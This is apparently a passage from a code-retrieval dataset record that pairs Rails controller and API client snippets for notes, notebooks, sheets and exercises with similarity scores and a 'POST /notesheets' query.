redirect_to @notesheet, notice: 'Notesheet was successfully created.' }\n format.json { render :show, status: :created, location: @notesheet }\n else\n format.html { render :new }\n format.json { render json: @notesheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n respond_with Note.all\n end", "def get_notes(opts = {})\n data, status_code, headers = get_notes_with_http_info(opts)\n return data\n end", "def index\n @sheets = Sheet.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sheets }\n end\n end", "def index\n @notes = Note.all\n end", "def index\n @notes = Note.all\n end", "def index\n @notes = Note.all\n end", "def index\n @notes = Note.all\n end", "def index\n @notes = Note.all\n end", "def index\n @exercise_templates = ExerciseTemplate.all\n render json: @exercise_templates\n end", "def index\n @timesheets = Timesheet.all\n render json: @timesheets\n end", "def index\n @notes = current_registry.person.notes.includes(:about_person => :person)\n @notes = @notes.includes(:about_event => :event)\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @notes }\n end\n end", "def index\n @reminders = Reminder.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reminders }\n end\n end", "def index\n @reminders = Reminder.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reminders }\n end\n end", "def show\n @notebook = Notebook.find(params[:id])\n render json: @notebook\n end", "def index\n @exercises = Exercise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exercises }\n end\n end", "def index\n @exercises = Exercise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exercises }\n end\n end", "def index\n @note_books = NoteBook.all\n end", "def notesheet_params\n params.require(:notesheet).permit(:content, :title, :course_id, :user_id, :date_created, :notepic, :notepic_cache)\n end", "def index\n @exercises = Exercise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @exercises }\n end\n end", "def index\n @journal = Journal.find(params[:journal_id])\n\n render json: @journal.workouts\n end", "def index\n @entries = @time_sheet.entries\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entries }\n end\n end", "def index\n @exercise_sets = ExerciseSet.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exercise_sets }\n end\n end", "def notes params=nil\n @nimble.get \"contact/#{self.id}/notes\", params\n end", "def show\n @sheets = Sheet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sheets }\n end\n end", "def index\n @sticky_notes = StickyNote.all\n end", "def index\n @do_exercises = DoExercise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @do_exercises }\n end\n end", "def index\n @communication_notes = CommunicationNote.all\n end", "def notes\n return bad_request unless params[:note_id] and request.format.json? || request.format.js?\n return not_found unless current_note\n @response = {'annotation' => current_note.canonical}\n render_cross_origin_json\n end", "def index\n @notes = @user.notes.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @notes }\n end\n end", "def index\n @internal_notes = InternalNote.all\n end", "def show\n @job_sheet = JobSheet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_sheet }\n end\n end", "def index\n @sr_notes = SrNote.all\n end", "def index\n @food_notes = FoodNote.all\n end", "def index\n @notes_lists = @note.notes_lists.all\n end", "def show\n @sheet = Sheet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sheet }\n end\n end", "def list_notes(identifier, opts = {})\n data, _status_code, _headers = list_notes_with_http_info(identifier, opts)\n return data\n end", "def show\n @worksheet = Worksheet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @worksheet }\n end\n end", "def index\n @ticsheets = Ticsheet.all\n end", "def index\n @modifications = Modification.all\n\n render json: @modifications\n end", "def show\n @sheet = Sheet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @sheet }\n end\n end", "def index\n \n if params[:notebooks]\n @notebooks =Notebook.find_all_by_user_id(current_user.id)\n elsif params[:priv]\n @notebooks = Notebook.where(:access=>\"invite-only\")\n else\n @notebooks = Notebook.all\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @notebooks }\n end\n end", "def get_notes_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: NotesApi#get_notes ...\"\n end\n \n # resource path\n path = \"/Notes\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'brief'] = opts[:'brief'] if opts[:'brief']\n query_params[:'skip'] = opts[:'skip'] if opts[:'skip']\n query_params[:'top'] = opts[:'top'] if opts[:'top']\n query_params[:'count_total'] = opts[:'count_total'] if opts[:'count_total']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<APINote>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: NotesApi#get_notes\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def update\n respond_to do |format|\n if @notesheet.update(notesheet_params)\n format.html { redirect_to @notesheet, notice: 'Notesheet was successfully updated.' }\n format.json { render :show, status: :ok, location: @notesheet }\n else\n format.html { render :edit }\n format.json { render json: @notesheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @sheet0 = Sheet0.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sheet0 }\n end\n end", "def show\n @mission_sheet = MissionSheet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mission_sheet }\n end\n end", "def index_json\n @ni = Note.all\n p = params()\n if (p.has_key?(\"lat\") && p.has_key?(\"lon\"))\n @ni = notes_in_range(p['lat'].to_f, p['lon'].to_f)\n end\n @notes = @ni\n\n render :json => @notes.to_json( )\n end", "def index\n @document_histories = DocumentHistory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @document_histories }\n end\n end", "def index\n @resumes = Resume.where(:book_id => params[:book_id])\n\n render json: @resumes\n end", "def show\n @notebook = Notebook.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @notebook }\n end\n end", "def get_unanswered_notes\n page = params[:page] || 1\n @notes = Note.find_all_unanswered(page)\n render :action => \"index\"\n end", "def list\n\t\t@notes = Note.where(topic: params[:topic])\n\tend", "def index\n respond_to do |format|\n format.html\n format.json { render json: Tissue.all }\n end\n \n end", "def index\n @textnotes = Textnote.all\n end", "def index\n # @prenotations = Prenotation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @prenotations }\n end\n end", "def index\n @lessons = Lesson.all\n\n render 'index.json'\n end", "def index\n @papers = Paper.all\n\n render json: @papers\n end", "def index\n @excels = Excel.all\n respond_to do |format|\n \n format.html { Excel.all }\n format.json { render json: @excels = Excel.last }\n end\n end", "def show\n @timesheet = Timesheet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @timesheet }\n end\n end", "def show\n @timesheet = Timesheet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @timesheet }\n end\n end", "def index\n @rulebooks = Rulebook.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rulebooks }\n end\n end", "def index\n \n # TODO dynamically reference this\n # @answer_sheets = answer_sheet_type.find(:all, :order => 'created_at')\n @answer_sheets = AnswerSheet.find(:all, :order => 'created_at')\n\n # drop down of sheets to capture data for\n @question_sheets = QuestionSheet.find(:all, :order => 'label').map {|s| [s.label, s.id]}\n end", "def all\n @timesheet_entries = TimesheetEntry.all\n\n respond_to do |format|\n format.html { render json: @timesheet_entries }\n format.json { render json: @timesheet_entries }\n end\n end", "def show\n if params[:tag]\n @notebook = Notebook.find(params[:notebook_id])\n @notes = @notebook.notes.tagged_with(params[:tag])\n else\n @notebook = Notebook.find(params[:id])\n @notes = @notebook.notes.all\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @notebook }\n end\n end", "def recent\n @notes = Note.recently_added(12).paginate(:page => params[:page], :per_page => configatron.page_size)\n\n respond_to do |format|\n format.html # recent.html.erb\n format.json { render json: @bookmarks }\n end\n end", "def recipebook\n @levels = Level.all\n\n respond_to do |format|\n format.html # recipebook.html.erb\n format.json { render json: @levels }\n end\n end", "def destroy\n @notesheet.destroy\n respond_to do |format|\n format.html { redirect_to notesheets_url, notice: 'Notesheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def show\n @sticky_note = StickyNote.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sticky_note }\n end\n end", "def index\n @book_steps = @book.book_steps.all\n @book = @book\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @book_steps }\n end\n end", "def show\n @evaluation_sheet = EvaluationSheet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @evaluation_sheet }\n end\n end", "def index\n @issues = Issue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @issues }\n end\n end", "def index\n @exhibits = Exhibit.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exhibits }\n end\n end", "def list_notes_with_http_info(identifier, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: AlertApi.list_notes ...\"\n end\n # verify the required parameter 'identifier' is set\n if @api_client.config.client_side_validation && identifier.nil?\n fail ArgumentError, \"Missing the required parameter 'identifier' when calling AlertApi.list_notes\"\n end\n if @api_client.config.client_side_validation && opts[:'identifier_type'] && !['id', 'alias', 'tiny'].include?(opts[:'identifier_type'])\n fail ArgumentError, 'invalid value for \"identifier_type\", must be one of id, alias, tiny'\n end\n if @api_client.config.client_side_validation && opts[:'direction'] && !['next', 'prev'].include?(opts[:'direction'])\n fail ArgumentError, 'invalid value for \"direction\", must be one of next, prev'\n end\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] > 100\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling AlertApi.list_notes, must be smaller than or equal to 100.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling AlertApi.list_notes, must be greater than or equal to 1.'\n end\n\n if @api_client.config.client_side_validation && opts[:'order'] && !['asc', 'desc'].include?(opts[:'order'])\n fail ArgumentError, 'invalid value for \"order\", must be one of asc, desc'\n end\n # resource path\n local_var_path = \"/v2/alerts/{identifier}/notes\".sub('{' + 'identifier' + '}', identifier.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'identifierType'] = opts[:'identifier_type'] if !opts[:'identifier_type'].nil?\n query_params[:'offset'] = opts[:'offset'] if !opts[:'offset'].nil?\n query_params[:'direction'] = opts[:'direction'] if !opts[:'direction'].nil?\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['GenieKey']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ListAlertNotesResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AlertApi#list_notes\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n @knowledges = Knowledge.order(\"created_at desc\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @knowledges }\n end\n end", "def index\n @api_v1_exercises = Api::V1::Exercise.all\n end", "def notes\n\t\tNote.find(:all)\n\tend", "def index\n @studies = Study.all\n #render json: @studies\n end", "def index\n # @notas = Nota.paginate(:page => params[:page], :per_page => params[:rows])\n find_nota\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @notas }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @note }\n end\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @modifications }\n end\n end", "def show\n @lecture_note = LectureNote.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lecture_note }\n end\n end", "def index\n @note_attachments = NoteAttachment.all\n end", "def index\n @studies = Study.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @studies }\n end\n end", "def index\n @messies = Messy.all\n\n render json: @messies\n end" ]
[ "0.6620252", "0.65489125", "0.6499742", "0.64531994", "0.64275813", "0.63737583", "0.63737583", "0.6306056", "0.62811774", "0.6244164", "0.6153337", "0.61511666", "0.6116539", "0.6106703", "0.6102543", "0.6089911", "0.604092", "0.60393965", "0.60176885", "0.59905833", "0.59786433", "0.59786433", "0.59786433", "0.59786433", "0.59786433", "0.59721047", "0.5920078", "0.5895513", "0.58868957", "0.58868957", "0.58756936", "0.58734185", "0.58734185", "0.58665144", "0.58550507", "0.5845353", "0.58307016", "0.58125615", "0.5812222", "0.57968247", "0.57908523", "0.57796633", "0.5757163", "0.57554823", "0.57367414", "0.5712165", "0.5710179", "0.5709689", "0.57012314", "0.5692891", "0.5671171", "0.566975", "0.56629133", "0.5657185", "0.56409544", "0.5640335", "0.5635966", "0.5631028", "0.55992746", "0.55972004", "0.559529", "0.55897593", "0.55767995", "0.55646634", "0.55390584", "0.55355674", "0.5519404", "0.55111605", "0.5509916", "0.55019575", "0.55007744", "0.5499041", "0.5497903", "0.5493781", "0.5493008", "0.5493008", "0.5491126", "0.5488631", "0.54830265", "0.5474361", "0.54721403", "0.5463866", "0.5462655", "0.5457419", "0.5452307", "0.543761", "0.5436883", "0.54341084", "0.5432739", "0.5429439", "0.5426627", "0.54256487", "0.542375", "0.5421458", "0.5420806", "0.5419918", "0.5418203", "0.54137623", "0.5412996", "0.54109424" ]
0.75343657
0
GET /notesheets/1 GET /notesheets/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @notesheets = Notesheet.all\n end", "def index\n @notes = Note.all\n render json: @notes\n end", "def index\n @notes = Note.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @notes }\n end\n end", "def show\n render json: @notes\n end", "def index\n @notes = Note.where{project_id == my{@project.id}}\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @notes }\n end\n end", "def show\n @notebook = Notebook.find(params[:id])\n render json: @notebook\n end", "def index\n @note = Note.new\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @notes }\n end\n end", "def index\n @notes = Note.all\n \n respond_with(@notes)\n end", "def index\n @task_notes = Note.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @task_notes }\n end\n end", "def set_notesheet\n @notesheet = Notesheet.find(params[:id])\n\n end", "def list_notes\n notes = if unsafe_params[:editable]\n Note.editable_by(@context).where.not(title: nil).accessible_by_private\n else\n Note.accessible_by(@context).where.not(title: nil)\n end\n\n if unsafe_params[:scopes].present?\n check_scope!\n notes = notes.where(scope: unsafe_params[:scopes])\n end\n\n if unsafe_params[:note_types].present?\n fail \"Param note_types can only be an Array of Strings containing 'Note', 'Answer', or 'Discussion'\" unless unsafe_params[:note_types].is_a?(Array) && unsafe_params[:note_types].all? { |type| %w(Note Answer Discussion).include?(type) }\n\n note_types = unsafe_params[:note_types].map { |type| type == \"Note\" ? nil : type }\n notes = notes.where(note_type: note_types)\n end\n\n result = notes.order(id: :desc).map do |note|\n if note.note_type == \"Discussion\"\n note = note.discussion\n elsif note.note_type == \"Answer\"\n note = note.answer\n end\n describe_for_api(note, unsafe_params[:describe])\n end\n\n render json: result\n end", "def index\n @notebooks = Notebook.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @notebooks }\n end\n end", "def index\n @notebooks = Notebook.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @notebooks }\n end\n end", "def index\n @notebooks = Notebook.all\n render json: @notebooks\n end", "def index\n @notebook_notes = Notebook::Note.all\n end", "def create\n @notesheet = Notesheet.new(notesheet_params)\n \n respond_to do |format|\n if @notesheet.save\n if !@notesheet.notepic.url\n path = \"#{@notesheet.title}-#{@notesheet.id}.txt\"\n File.open(path, \"w+\") do |f|\n f.write(@notesheet.content)\n @notesheet.notepic = f\n end\n @notesheet.save!\n end\n \n \n format.html { redirect_to @notesheet, notice: 'Notesheet was successfully created.' }\n format.json { render :show, status: :created, location: @notesheet }\n else\n format.html { render :new }\n format.json { render json: @notesheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def notes\n return bad_request unless params[:note_id] and request.format.json? || request.format.js?\n return not_found unless current_note\n @response = {'annotation' => current_note.canonical}\n render_cross_origin_json\n end", "def show\n @notebook = Notebook.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @notebook }\n end\n end", "def show\n @project_note = ProjectNote.find(params[:id])\n\n render json: @project_note\n end", "def index\n @quicknotes = Quicknote.all\n respond_with(@quicknotes)\n end", "def show\n @sticky_note = StickyNote.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sticky_note }\n end\n end", "def show\n @lecture_note = LectureNote.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lecture_note }\n end\n end", "def specific_notes(id, accept)\n begin\n \t# Calls a certain note depending on the number \n return RestClient.get 'http://localhost:4567/notes/' + id.to_s, :accept => accept\n rescue => e\n return e.response\n end\n end", "def show\n render json: @note\n end", "def index\n @notes = Note.all\n end", "def index\n @notes = Note.all\n end", "def index\n @notes = Note.all\n end", "def index\n @notes = Note.all\n end", "def index\n @notes = Note.all\n end", "def show\n @data_note = DataNote.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @data_note }\n end\n end", "def notes params=nil\n @nimble.get \"contact/#{self.id}/notes\", params\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @note }\n end\n end", "def index\n\t\trender json: current_user.noteBooks.as_json(:include=> [:notes=>{:only=>[\"id\"]}])\n # render json: NoteBook.all.as_json(:include=> [:notes=>{:only=>[\"id\"]}])\n\tend", "def show\n @notebook = Notebook.find(params[:id]) || not_found\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @notebook }\n end\n end", "def get_notes(opts = {})\n data, status_code, headers = get_notes_with_http_info(opts)\n return data\n end", "def index\n respond_with Note.all\n end", "def show\n @note = Note.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @note }\n end\n end", "def index\n @weekly_notes = WeeklyNote.all\n end", "def show\n @sheet0 = Sheet0.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sheet0 }\n end\n end", "def index\n @notes = current_registry.person.notes.includes(:about_person => :person)\n @notes = @notes.includes(:about_event => :event)\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @notes }\n end\n end", "def show\n @job_sheet = JobSheet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_sheet }\n end\n end", "def show\n @mission_sheet = MissionSheet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mission_sheet }\n end\n end", "def index\n @reminders = Reminder.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reminders }\n end\n end", "def index\n @reminders = Reminder.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reminders }\n end\n end", "def show\n @worksheet = Worksheet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @worksheet }\n end\n end", "def show\n @note = Note.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @note }\n end\n end", "def update\n respond_to do |format|\n if @notesheet.update(notesheet_params)\n format.html { redirect_to @notesheet, notice: 'Notesheet was successfully updated.' }\n format.json { render :show, status: :ok, location: @notesheet }\n else\n format.html { render :edit }\n format.json { render json: @notesheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @history_study = HistoryStudy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @history_study }\n end\n end", "def show\n if params[:tag]\n @notebook = Notebook.find(params[:notebook_id])\n @notes = @notebook.notes.tagged_with(params[:tag])\n else\n @notebook = Notebook.find(params[:id])\n @notes = @notebook.notes.all\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @notebook }\n end\n end", "def index\n @note1s = Note1.all\n end", "def show\n @sheet = Sheet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sheet }\n end\n end", "def index\n @exercises = Exercise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exercises }\n end\n end", "def index\n @exercises = Exercise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exercises }\n end\n end", "def show\n @sheet = Sheet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @sheet }\n end\n end", "def show\n @timesheet = Timesheet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @timesheet }\n end\n end", "def show\n @timesheet = Timesheet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @timesheet }\n end\n end", "def index\n @journal = Journal.find(params[:journal_id])\n\n render json: @journal.workouts\n end", "def get_notes_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: NotesApi#get_notes ...\"\n end\n \n # resource path\n path = \"/Notes\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'brief'] = opts[:'brief'] if opts[:'brief']\n query_params[:'skip'] = opts[:'skip'] if opts[:'skip']\n query_params[:'top'] = opts[:'top'] if opts[:'top']\n query_params[:'count_total'] = opts[:'count_total'] if opts[:'count_total']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<APINote>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: NotesApi#get_notes\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n @internal_notes = InternalNote.all\n end", "def index\n @exercise_templates = ExerciseTemplate.all\n render json: @exercise_templates\n end", "def index\n @exercises = Exercise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @exercises }\n end\n end", "def show\n @patient_exercise = PatientExercise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @patient_exercise }\n end\n end", "def show\n @word_note = WordNote.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @word_note }\n end\n end", "def recent\n @notes = Note.recently_added(12).paginate(:page => params[:page], :per_page => configatron.page_size)\n\n respond_to do |format|\n format.html # recent.html.erb\n format.json { render json: @bookmarks }\n end\n end", "def index\n @communication_notes = CommunicationNote.all\n end", "def index\n @notes = @user.notes.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @notes }\n end\n end", "def show\n @task_note = Note.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @task_note }\n end\n end", "def notesheet_params\n params.require(:notesheet).permit(:content, :title, :course_id, :user_id, :date_created, :notepic, :notepic_cache)\n end", "def index\n @do_exercises = DoExercise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @do_exercises }\n end\n end", "def show\n @document_history = DocumentHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @document_history }\n end\n end", "def show\n @study = Study.find(params[:id])\n render json: @study\n end", "def show\n @sheets = Sheet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sheets }\n end\n end", "def show\n @note_book = NoteBook.find(params[:id])\n end", "def index\n @exercise_sets = ExerciseSet.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exercise_sets }\n end\n end", "def index\n @entries = @time_sheet.entries\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entries }\n end\n end", "def index_json\n @ni = Note.all\n p = params()\n if (p.has_key?(\"lat\") && p.has_key?(\"lon\"))\n @ni = notes_in_range(p['lat'].to_f, p['lon'].to_f)\n end\n @notes = @ni\n\n render :json => @notes.to_json( )\n end", "def new\n @note = Note.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @notes }\n end\n end", "def index\n @note_books = NoteBook.all\n end", "def show\n @patient_history = PatientHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @patient_history }\n end\n end", "def index\n @food_notes = FoodNote.all\n end", "def new\n @sticky_note = StickyNote.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sticky_note }\n end\n end", "def show\n @journal = Journal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json :@journal }\n end\n end", "def show\n @evaluation_sheet = EvaluationSheet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @evaluation_sheet }\n end\n end", "def index\n @sticky_notes = StickyNote.all\n end", "def notes\n @data[:notes]\n end", "def show\n @user = User.find(params[:user_id])\n @note = @user.notes.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @note }\n end\n end", "def index\n @notes_lists = @note.notes_lists.all\n end", "def show\n @route_sheet = RouteSheet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @route_sheet }\n end\n end", "def show\n @reading_history = @user.reading_histories.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reading_history }\n end\n end", "def destroy\n @notesheet.destroy\n respond_to do |format|\n format.html { redirect_to notesheets_url, notice: 'Notesheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def list_notes(identifier, opts = {})\n data, _status_code, _headers = list_notes_with_http_info(identifier, opts)\n return data\n end", "def show\n @patches = Patch.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @patch }\n end\n end", "def index\n @modifications = Modification.all\n\n render json: @modifications\n end", "def show\n @exercise = Exercise.find_by_id(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise }\n end\n end", "def show\n @exercise_log = ExerciseLog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise_log }\n end\n end", "def show\n @exercise = Exercise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise }\n end\n end", "def show\n @exercise = Exercise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise }\n end\n end", "def index\n @document_histories = DocumentHistory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @document_histories }\n end\n end", "def index\n respond_to do |format|\n format.html\n format.json { render json: Tissue.all }\n end\n \n end", "def index\n @sr_notes = SrNote.all\n end", "def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @questionnaire }\n end\n end" ]
[ "0.7213959", "0.6662136", "0.65814406", "0.6539396", "0.64439654", "0.63882273", "0.6368453", "0.6364772", "0.6362344", "0.6343219", "0.6266902", "0.6218674", "0.6218674", "0.6210735", "0.6174881", "0.61733425", "0.60998106", "0.60948205", "0.6068242", "0.60522306", "0.60152346", "0.6006078", "0.5977985", "0.5975653", "0.5972295", "0.5972295", "0.5972295", "0.5972295", "0.5972295", "0.5970854", "0.59703207", "0.5966031", "0.59617287", "0.5945934", "0.59419036", "0.5941203", "0.59342647", "0.5932268", "0.592299", "0.59097296", "0.588778", "0.5881049", "0.58710754", "0.58710754", "0.58556557", "0.58555084", "0.5832843", "0.58238053", "0.5814243", "0.5801005", "0.57957923", "0.5769109", "0.5769109", "0.5762604", "0.5761106", "0.5761106", "0.5759864", "0.57594746", "0.5742097", "0.57413197", "0.57383966", "0.57362276", "0.5731915", "0.57319033", "0.5729802", "0.5714807", "0.5705461", "0.5699151", "0.5691996", "0.56801456", "0.5676795", "0.5660625", "0.5637117", "0.5636722", "0.56235915", "0.56185466", "0.5615145", "0.5613947", "0.56138223", "0.56027144", "0.5601695", "0.55969197", "0.55965173", "0.55960196", "0.557519", "0.55707556", "0.55668914", "0.5561876", "0.556134", "0.55608267", "0.55575603", "0.55558896", "0.5553121", "0.5549699", "0.5542071", "0.552644", "0.552644", "0.5524018", "0.5522386", "0.55124664", "0.55061144" ]
0.0
-1
POST /notesheets POST /notesheets.json
